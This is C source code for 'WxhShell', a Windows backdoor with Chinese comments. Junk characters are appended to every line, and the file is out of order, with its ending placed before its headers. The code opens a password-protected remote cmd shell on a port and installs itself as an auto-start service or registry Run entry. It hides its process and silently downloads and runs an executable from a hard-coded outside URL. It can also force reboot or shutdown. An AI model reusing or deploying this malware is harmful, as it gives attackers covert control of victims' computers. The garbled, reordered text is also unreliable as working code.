    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +@8, uL  
    else { I3x+pa^]2  
    closesocket(wsh); /L! =##  
    ExitThread(0); "iK'O =M  
    } :(3'"^_NA  
    break; + <w6sPm  
    } Tb:'M:dM"  
  // 获取shell SnvT !ca  
  case 's': { " ? V;C  
    CmdShell(wsh); 4-'0# a  
    closesocket(wsh); m%"=sX7/9  
    ExitThread(0); =Bh,>Kg  
    break; ?aTC+\=  
  } CJ)u#PmkJ  
  // 退出 *?Wr^T  
  case 'x': { +mKII>{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;r]! qv:  
    CloseIt(wsh); _x!/40^G  
    break; }I`o%GL  
    } *(/b{!~  
  // 离开 4{6,Sx  
  case 'q': { o ?.VW/"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XJS^{=/  
    closesocket(wsh); n36@&q+B&  
    WSACleanup(); -,mV~y  
    exit(1); [,~;n@jz  
    break; J]48th0,  
        } t0:~BYXu  
  } L/bvM?B^  
  } Z%3)w.  
NJoHrhC='  
  // 提示信息 QOJ5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | ObA=[j  
} 8zJye6f;l  
  } MfFmJ7>Bg  
1O)m(0tb[  
  return; %JA^b5''  
} !|ic{1!_  
5Go@1X]I  
// shell模块句柄 wb]Z4/j#  
int CmdShell(SOCKET sock) SEZ08:>x r  
{ irB}h!@  
STARTUPINFO si; ]`h@[fYge  
ZeroMemory(&si,sizeof(si)); %5Elj<eHZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w/(2fU(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nAj +HLO  
PROCESS_INFORMATION ProcessInfo; y{tM|  
char cmdline[]="cmd"; ,|UwZ_.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $"Ci{iE  
  return 0; oMq:4W,  
} ._'.F'd  
~"R;p}5 "  
// 自身启动模式 gG(9&}@(  
int StartFromService(void) # .OCoc  
{ "88<{xL  
typedef struct _XI,z0(  
{ -Zg@#H  
  DWORD ExitStatus; }72+i  
  DWORD PebBaseAddress; v}^uN+a5  
  DWORD AffinityMask; #_Lgo  
  DWORD BasePriority; 5'(#Sf  
  ULONG UniqueProcessId; ET6}V"UD  
  ULONG InheritedFromUniqueProcessId; 3|/zlKZz  
}   PROCESS_BASIC_INFORMATION; }~<9*M-P  
nqcD#HUv  
PROCNTQSIP NtQueryInformationProcess; DPl&e-`  
_]+ \ B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *zX^Sg-[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jH9.N4L  
]XfROhgP=  
  HANDLE             hProcess; *  }ZKQ  
  PROCESS_BASIC_INFORMATION pbi; 3.?oG5 P#  
x$bCbg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _ukBp*u  
  if(NULL == hInst ) return 0; ~c>]kL(,  
f kdJgK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %b ^.Gw\L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xw1n;IO4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U,~Z2L  
sbFA{l3   
  if (!NtQueryInformationProcess) return 0; Reg%ah|$/=  
R&L^+?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,L(q/#p  
  if(!hProcess) return 0; G\r>3Ys  
z }P1+Pm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <gY.2#6C\%  
?NUDHUn_  
  CloseHandle(hProcess); iN+&7#x;/  
5jcy*G}[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3 DZ8-N S  
if(hProcess==NULL) return 0; hOcVxSc.  
glNXamo  
HMODULE hMod; { %af  
char procName[255]; ;J?zD9  
unsigned long cbNeeded; .+`Z:{:BC&  
>=L<3W1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4Mj cx.21  
p+{*&Hm5  
  CloseHandle(hProcess); hKQg:30<  
*Cx3bg*Gan  
if(strstr(procName,"services")) return 1; // 以服务启动 tWI4x3 &2  
Ky[-ZQQo=5  
  return 0; // 注册表启动 <cR]-Yr~  
} ,N2|P:x  
>iWw i'T=  
// 主模块 u-X P `  
int StartWxhshell(LPSTR lpCmdLine) _R|8_#yM  
{ 4jz2x #T  
  SOCKET wsl; X>s'_F?  
BOOL val=TRUE; ! d" i  
  int port=0; OQby=}A  
  struct sockaddr_in door; zVtNT@1K>u  
tc)4$"9)  
  if(wscfg.ws_autoins) Install(); VrZ6m  
?C|b>wM/  
port=atoi(lpCmdLine); )Hlc\Mgy  
X&bnyo P  
if(port<=0) port=wscfg.ws_port; DzK%$#{<  
:g"U G0];  
  WSADATA data; $N17GqoC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c UHKE\F  
B pl(s+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (n~GKcA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t3FfPV!P"  
  door.sin_family = AF_INET; bl`vT3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >{w"aJ" F  
  door.sin_port = htons(port); #F|w_P  
8j&LU,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'wP\VCL2>  
closesocket(wsl); a*KJjl?k  
return 1; pksF| VS  
} )\Ay4 d  
W{*w<a_ `  
  if(listen(wsl,2) == INVALID_SOCKET) { kX:d?*{KB  
closesocket(wsl); ugMf pT)  
return 1; G' a{;3  
} tGh!5EZ6`  
  Wxhshell(wsl); @m(ja@YC  
  WSACleanup(); ;kiL`K  
5o R/Q|^  
return 0; hS7o=G[  
-PH!U Hg  
} 2ID]it\5  
#MI4 `FZ  
// 以NT服务方式启动 IAa}F!6Q1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !S}4b   
{ J+20]jI  
DWORD   status = 0; #[aHKq:?b  
  DWORD   specificError = 0xfffffff; I^yInrRh5  
uf&Ke k,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K trR+ :  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0 P-eC|0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  C%\.  
  serviceStatus.dwWin32ExitCode     = 0; d#]XyN>  
  serviceStatus.dwServiceSpecificExitCode = 0; lQnqPQY  
  serviceStatus.dwCheckPoint       = 0; B&k"B?9mL  
  serviceStatus.dwWaitHint       = 0; /qX=rlQ/n  
eZ[O:Wvk:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~xaPq=AH  
  if (hServiceStatusHandle==0) return; o+T %n1$+V  
8<Yqpb  
status = GetLastError(); 6 P6Pl&  
  if (status!=NO_ERROR) *#2]`G)  
{ 0h",.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WT9 k85hqj  
    serviceStatus.dwCheckPoint       = 0; )=c/{  
    serviceStatus.dwWaitHint       = 0; VOK0)O>&  
    serviceStatus.dwWin32ExitCode     = status; Yr9!</;T  
    serviceStatus.dwServiceSpecificExitCode = specificError; GH!Lu\y\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [N4#R  
    return; XrD@q  
  } ,Rh6( I  
(lBwkQNQGd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @mB*fl?-  
  serviceStatus.dwCheckPoint       = 0; 0qU Bt9rA  
  serviceStatus.dwWaitHint       = 0; !E+.(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0X"D!G):  
} P,/=c(5\}  
J$X{4  
// 处理NT服务事件,比如:启动、停止 20XN5dTFT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pa-p9]gq  
{ 3HP o*~"]  
switch(fdwControl) orcPKCz|"  
{ ya^zlj\`0e  
case SERVICE_CONTROL_STOP: |wFfVDp  
  serviceStatus.dwWin32ExitCode = 0; g*nh8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^YLk&A)X  
  serviceStatus.dwCheckPoint   = 0; +jPs0?}s  
  serviceStatus.dwWaitHint     = 0; H3{FiB]  
  { Rt^~db  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @1UC9}>  
  } ~Kr_[X:d5  
  return; nr t3wqJ  
case SERVICE_CONTROL_PAUSE: L6-zQztn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *$eMM*4  
  break; sD[G?X  
case SERVICE_CONTROL_CONTINUE: oju}0h'1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RZ#~^5DiO  
  break; QmpP_eS >  
case SERVICE_CONTROL_INTERROGATE: "`jey)&H*M  
  break; Z+*t=?L,,G  
}; GYq.!d@O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +hJ@w-u,G  
} MvLmEmKb}\  
6pHn%yE*  
// 标准应用程序主函数 ~RRp5x _  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ca},tov&  
{ Vk>m/"  
XDWR ]  
// 获取操作系统版本 fi6i{(K  
OsIsNt=GetOsVer(); O_u2V'jy9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FXi"o $N  
G2A^+R0\  
  // 从命令行安装 5#|f:M]Bo|  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]N\J~Gm  
-9Ll'fbq  
  // 下载执行文件 #@#/M)  
if(wscfg.ws_downexe) { EqV]/0-\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v7ShXX:  
  WinExec(wscfg.ws_filenam,SW_HIDE); OcBK n=8  
} |H LU5=Y  
xKl!{A9$w  
if(!OsIsNt) { YF]W<ZpY  
// 如果时win9x,隐藏进程并且设置为注册表启动 #BK3CD(&  
HideProc(); 2Bf]#l{z  
StartWxhshell(lpCmdLine); GjmPpKIu\  
} $T)EJe  
else rk$$gXg9/  
  if(StartFromService()) z ]@ Q  
  // 以服务方式启动 bh9!OqK9K  
  StartServiceCtrlDispatcher(DispatchTable); Ch~2w)HAA  
else iAOm[=W  
  // 普通方式启动 9HjtWQn  
  StartWxhshell(lpCmdLine); e95x,|.-_  
># {,(8\  
return 0; &ZmHR^Flz  
} 91 ]"D;NN  
V@QWJZ"  
xTy[X"sJ  
yMQZulCWE  
=========================================== @w H+,]xE  
 m,,FNYW  
YhVV~bvz*  
VOj{&O2c  
l Wa4X#~.  
'_n J DM  
" zO)>(E?  
] X9e|  
#include <stdio.h> Fjc4[ C  
#include <string.h> 1Rrl59}5  
#include <windows.h> I(cy<ey+e  
#include <winsock2.h> o]#M8)=  
#include <winsvc.h> XpFo SW#K  
#include <urlmon.h> E7_)P>aS5  
: " ([i"  
#pragma comment (lib, "Ws2_32.lib") Vz"Ja  
#pragma comment (lib, "urlmon.lib") Z`?Z1SBt  
&_L FV@/  
#define MAX_USER   100 // 最大客户端连接数 Kn WjP21  
#define BUF_SOCK   200 // sock buffer !yo/ F& 6  
#define KEY_BUFF   255 // 输入 buffer L7_qs+  
qM."W=XVN  
#define REBOOT     0   // 重启 _x.<Zc\x  
#define SHUTDOWN   1   // 关机 :|GC~JElo5  
W' DpI7  
#define DEF_PORT   5000 // 监听端口 C Rd1zDB  
BRTM]tRZ  
#define REG_LEN     16   // 注册表键长度 F)W7,^=X>-  
#define SVC_LEN     80   // NT服务名长度 VUo7Evc:.P  
_o 2pyV&  
// 从dll定义API A@-A_=a,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YkPc&&#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ly?%RmHK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *@XJ7G[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;Y&<psQeb  
1kiS."77x  
// wxhshell配置信息 k,~I>qg  
struct WSCFG { HF3W,eaqK  
  int ws_port;         // 监听端口 b V)mO@N~w  
  char ws_passstr[REG_LEN]; // 口令 <$f7&6B  
  int ws_autoins;       // 安装标记, 1=yes 0=no R::0.*FF  
  char ws_regname[REG_LEN]; // 注册表键名 /``4!jU  
  char ws_svcname[REG_LEN]; // 服务名 [>B`"nyNQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DE{tpN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kc6p||<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2WP73:'t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i.|zKjF'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '^T Q Ubw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 peA}/Jc  
E@/yg(?d=  
}; =~OH.=9\  
NA%(ZRSg(  
// default Wxhshell configuration x >u \  
struct WSCFG wscfg={DEF_PORT, r[>=iim  
    "xuhuanlingzhe", i|z=q  
    1, m.F \Mn  
    "Wxhshell", ZB+N[VJs)  
    "Wxhshell", ST#OO!  
            "WxhShell Service", (XQBBt  
    "Wrsky Windows CmdShell Service", igoXMsifT+  
    "Please Input Your Password: ", Ft7{P.g  
  1, x1gfo!BN  
  "http://www.wrsky.com/wxhshell.exe", ?B)jnBh|  
  "Wxhshell.exe" AgOw{bJ%  
    }; Fq]ht*  
}b// oe7  
// 消息定义模块 Cr!}qZq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FC'v= *  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dG6 G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y>:-6)pv  
char *msg_ws_ext="\n\rExit."; j89C~xP6  
char *msg_ws_end="\n\rQuit."; i\2d1Z  
char *msg_ws_boot="\n\rReboot..."; cJ6n@\  
char *msg_ws_poff="\n\rShutdown..."; uxGY/Zf  
char *msg_ws_down="\n\rSave to "; =~)J:x\F  
X+'z@xpj  
char *msg_ws_err="\n\rErr!"; NTnjVU }  
char *msg_ws_ok="\n\rOK!"; Km5#$IiP;  
l!U_7)s/  
char ExeFile[MAX_PATH]; *5SOXrvhu6  
int nUser = 0; "T*Sg  
HANDLE handles[MAX_USER]; [d( @lbV0  
int OsIsNt; ZyJdz+L{@V  
-Y*"!8  
SERVICE_STATUS       serviceStatus; iIOA54!o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &"D *  
jTo-xP{lC  
// 函数声明 j%2l%Mx(  
int Install(void); px@:t}  
int Uninstall(void); q,#j *  
int DownloadFile(char *sURL, SOCKET wsh); [D]9M"L,vQ  
int Boot(int flag); HFJna2B`  
void HideProc(void); 3DNw=Ic0k  
int GetOsVer(void); eYQq@lrWv  
int Wxhshell(SOCKET wsl); t0 [H_  
void TalkWithClient(void *cs); ! xU1[,9  
int CmdShell(SOCKET sock); ]et4B+=i  
int StartFromService(void); nUAoPE  
int StartWxhshell(LPSTR lpCmdLine); $=7'Cm ?  
4LO U[D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5t` :=@u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pj4WWKX  
-&PiD  
// 数据结构和表定义 *z2G(Uac  
SERVICE_TABLE_ENTRY DispatchTable[] = bCM&Fe0GM  
{ 8hx4s(1!  
{wscfg.ws_svcname, NTServiceMain}, 0!WF,)/T7i  
{NULL, NULL} h$#QRH  
}; K`=O!;  
VDCG 5QP6(  
// 自我安装 '=|2, H]  
int Install(void) =B}a +0u!  
{ #WBlEVx;Z  
  char svExeFile[MAX_PATH]; _JlbVe[<  
  HKEY key; taS2b#6\+  
  strcpy(svExeFile,ExeFile); BPp`r_m8w}  
W/(D"[:l%  
// 如果是win9x系统,修改注册表设为自启动 3Un{Q~6h  
if(!OsIsNt) { d$>TC(E=t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YCJ6an  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^DL}J>F9G  
  RegCloseKey(key); ^4Nk13  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % D]vKv~<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zTDB]z!A  
  RegCloseKey(key); Hzr<i4Y=w9  
  return 0; -WDU~VSU  
    } ]7 qn&(]  
  } SZO$#  
} 8MHYk>O~{G  
else { H4s^&--  
=0te.io)3O  
// 如果是NT以上系统,安装为系统服务 K[tQ>C@s2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W|IMnK-  
if (schSCManager!=0) %LeQpbyOR  
{ ' `0kW_'  
  SC_HANDLE schService = CreateService +T*=JHOD  
  ( /S32)=(  
  schSCManager, 'j^A87\M_  
  wscfg.ws_svcname, up[9L|  
  wscfg.ws_svcdisp, z 6~cm6j  
  SERVICE_ALL_ACCESS, .}.?b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p2]@yE7w  
  SERVICE_AUTO_START, fj2pD Cic  
  SERVICE_ERROR_NORMAL, /}G+PUk7  
  svExeFile, k A`Z#yu  
  NULL, /.Yf&2X\  
  NULL, gB4&pPN  
  NULL, iV h^;  
  NULL, "m*.kB)e7  
  NULL \;al@yC=T  
  ); r)ni;aP  
  if (schService!=0) mR3)$!  
  { l@ +lUx8  
  CloseServiceHandle(schService); %4F Q~  
  CloseServiceHandle(schSCManager); BCDmce`=l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $XBn:0U  
  strcat(svExeFile,wscfg.ws_svcname); tUS)1*{_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]V|rOtxb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3 [R<JrO  
  RegCloseKey(key); H .F-mm  
  return 0; zV)(i<Q  
    } K gN=b  
  } RrFq"  
  CloseServiceHandle(schSCManager); Rne#z2Ok  
} 42`%D  
} &h(>jY7b;  
do {E39  
return 1; #nK38W#  
} -6 WjYJx  
P$YY4|`  
// 自我卸载 4 &r5M  
int Uninstall(void) c$Vu/dgx  
{ sK)fEx  
  HKEY key; 20 <$f  
G`n|fuv  
if(!OsIsNt) { 9YpgzCx Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bW"bkA80  
  RegDeleteValue(key,wscfg.ws_regname); Wo&WO e  
  RegCloseKey(key); =mVWfFL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7_OC&hhL  
  RegDeleteValue(key,wscfg.ws_regname); ^!Y]l  
  RegCloseKey(key); MQs!+Z"m>  
  return 0; #Tc]L<."  
  } 8fV.NCyE  
} o1Bn^ w  
} #@ClhpLD  
else { z\S#P|;  
#[ei/p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /_WA F90R?  
if (schSCManager!=0) $Hw w  
{ D-{;;<nIr`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xk9mJ]31LC  
  if (schService!=0) A -C.Bi;/  
  { ew13qpt)<L  
  if(DeleteService(schService)!=0) { x)35}mi){L  
  CloseServiceHandle(schService); (`W_ -PI  
  CloseServiceHandle(schSCManager); 7a$K@iWU  
  return 0; vbt0G-%Z  
  } <x QvS^|[  
  CloseServiceHandle(schService); d=` a-R0  
  } xq6 eu 9   
  CloseServiceHandle(schSCManager); 0bG[pp$[  
} #$5"&SM  
} pUc N-WA  
Lud[.>i  
return 1; ?*oBevUnCY  
} 4*AkUkP:T  
OC?a[^hB^)  
// 从指定url下载文件 *B4?(&0  
int DownloadFile(char *sURL, SOCKET wsh) \ltbiDP2  
{ CP]nk0  
  HRESULT hr; ;;4>vF#*  
char seps[]= "/"; C VXz>oM  
char *token; *F<Ar\f5  
char *file; }3825  
char myURL[MAX_PATH]; O{vVW9Q  
char myFILE[MAX_PATH]; ~U;M1>  
YkN0,6  
strcpy(myURL,sURL); ^Z |WD!>`  
  token=strtok(myURL,seps); &i(\g7%U  
  while(token!=NULL) 8"'Z0 Ey  
  { xK*G'3Ge  
    file=token; D(;jv="/  
  token=strtok(NULL,seps); X-,mNv z  
  } !_?K(X~/  
1Yk!R9.  
GetCurrentDirectory(MAX_PATH,myFILE); {6I)6}w!k  
strcat(myFILE, "\\"); r,43 gg  
strcat(myFILE, file); 0hN gr'  
  send(wsh,myFILE,strlen(myFILE),0); T'ko =k  
send(wsh,"...",3,0); BvnNAi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <)68ol~<  
  if(hr==S_OK) q`Rc \aWB%  
return 0; .](~dVp%~  
else @u>:(9bp  
return 1; gzMp&J  
|e QwI&  
} KgH_-REN  
1 $m[# 3  
// 系统电源模块 +L\Dh.Ir  
int Boot(int flag) gmqL,H#  
{ [PIh^ DhK  
  HANDLE hToken; 5cF7w  
  TOKEN_PRIVILEGES tkp; QmKEl|/{u  
nk*T x  
  if(OsIsNt) { Z[ 53cVT^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LJgGX,Kp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v:IpZ;^  
    tkp.PrivilegeCount = 1; iW?z2%#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qg06*$%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ip+?k<]z  
if(flag==REBOOT) { L eu93f2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &cpqn2Z  
  return 0; -=InGm\Y  
} 8{- *Q(=/  
else { \H4$9lPk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D7lRZb  
  return 0; TWeup6k  
} H5eGl|Z5]^  
  } \Dx;AKs  
  else { u|+Dqe`  
if(flag==REBOOT) { :|HCUZ*H(T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ==Ah& ){4^  
  return 0; t" $#KP<  
} Z#t}yC%^d  
else { 'PvOOhm,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mp3nR5@d$  
  return 0; K'c[r0Ew  
} ["H2H rI2  
} cK1 Fv6V#  
5F78)q u6N  
return 1; D &Bdl5g  
} zHX7%x,Cq  
h]vu BHJ}  
// win9x进程隐藏模块 "oT&KW   
void HideProc(void) &?H`MCv t  
{ adtgNwg  
%BwvA_T'Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M,vCAZ  
  if ( hKernel != NULL ) ZK4d;oa",  
  { 7P bwCRg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TtWWq5X|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W_L;^5Y;m  
    FreeLibrary(hKernel); Y`*h#{|  
  } {nj`>  
<u}[_  
return; E#~J"9k98  
} Ly-}HW(  
AIG5a$}&  
// 获取操作系统版本 gX~lYdA  
int GetOsVer(void) Q"s]<MtdS  
{ Y#zHw< <E  
  OSVERSIONINFO winfo; RZ0+Uu/J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -`CE;  
  GetVersionEx(&winfo); {%D4%X<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IP!`;?T=  
  return 1; W.(Q u-AE(  
  else > ofWHl[-  
  return 0; r]deVd G  
} l@5kw]6  
lNo]]a+_  
// 客户端句柄模块 x"P@[T  
int Wxhshell(SOCKET wsl) qK)T#sh  
{ g!;a5p6  
  SOCKET wsh; zwJ\F '  
  struct sockaddr_in client; /[I#3|  
  DWORD myID; J%IKdxa  
owzcc-g  
  while(nUser<MAX_USER) R9-Uoc/  
{ !}hG|Y6s  
  int nSize=sizeof(client); ' 7H"ezt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /pWKV>tjj  
  if(wsh==INVALID_SOCKET) return 1; h,ipQ>  
8'Iei78Ov  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O$7r)B6Cs  
if(handles[nUser]==0) VKcVwq  
  closesocket(wsh); 1nR\ m+{  
else )C$pjjo/`  
  nUser++; l^2m7 7)  
  } w7~cY=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'F^1)Ga$  
=C- b#4Q  
  return 0; 0D/7X9xg9+  
} g~XR#vl$  
|qf ef &  
// 关闭 socket ?&D.b$  
void CloseIt(SOCKET wsh) +ZR>ul-c  
{ ojx2[a\  
closesocket(wsh); 7.tIf <^$P  
nUser--; ;+*/YTkC+P  
ExitThread(0); <q`|,mc  
} GsoD^mjY  
 V*W H  
// 客户端请求句柄 [$@EQ]tt/  
void TalkWithClient(void *cs) _Mi*Fvj  
{ > .K  
lv#L+}T  
  SOCKET wsh=(SOCKET)cs; ?(Xy 2%v  
  char pwd[SVC_LEN]; HHL7z,%f  
  char cmd[KEY_BUFF]; eyy%2> b  
char chr[1]; L\q-Z..  
int i,j; y$9XHubu  
yeLd,M/I  
  while (nUser < MAX_USER) { S;tvt/\!Z  
_FkH;MGWS  
if(wscfg.ws_passstr) { IM_SZs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M%OUkcWCk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -d[Gy- J  
  //ZeroMemory(pwd,KEY_BUFF); 825 QS`  
      i=0; gkDXt^Ob  
  while(i<SVC_LEN) { rQ(u@u;  
C[CNJ66  
  // 设置超时 $ve*j=p  
  fd_set FdRead; ,MUgww!.  
  struct timeval TimeOut; B D [<>Wm  
  FD_ZERO(&FdRead); s8;*Wt  
  FD_SET(wsh,&FdRead); A$rCo~Ek  
  TimeOut.tv_sec=8; ]f6,4[  
  TimeOut.tv_usec=0; P"|-)d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Y30B,=M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^nLk{<D35  
~&WBA]w'+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *9US>mVy  
  pwd=chr[0]; |=[. _VH1  
  if(chr[0]==0xd || chr[0]==0xa) { +&.39q !  
  pwd=0; 2L S91  
  break; x,c\q$8yH  
  } _opB,,G  
  i++; $49;\pBZl  
    } #Eqx E o;  
6M[OEI5  
  // 如果是非法用户,关闭 socket Bqw/\Lxwlf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s14 ot80)  
} 5}2148  
YoSBS   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X$=/H 6R5Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]+Z,HY@;-  
>6|Xvtf  
while(1) { 6 )lWuY]e  
'OU`$K7n  
  ZeroMemory(cmd,KEY_BUFF); S_;m+Ytg  
\*Z:w3;r  
      // 自动支持客户端 telnet标准   5k;}I|rg%  
  j=0; NYeL1h)l  
  while(j<KEY_BUFF) { dvLL~VP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =00 sB  
  cmd[j]=chr[0]; _Nf%x1m5s  
  if(chr[0]==0xa || chr[0]==0xd) { =(Y+u  
  cmd[j]=0; [f?x ,W~  
  break; 0y%s\,PsT  
  } p+CK+m   
  j++; !gi3J @  
    } d!y_N&z|(  
{(Ba  
  // 下载文件 e!w#{</8Q  
  if(strstr(cmd,"http://")) { :/6u*HwZh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >fp_$bjd  
  if(DownloadFile(cmd,wsh)) VqS1n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VP^{-mDph  
  else o97*3W]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &H%z1Lp  
  } $ Zj3#l:rK  
  else { Ci?RuZ"  
!!6g<S7)  
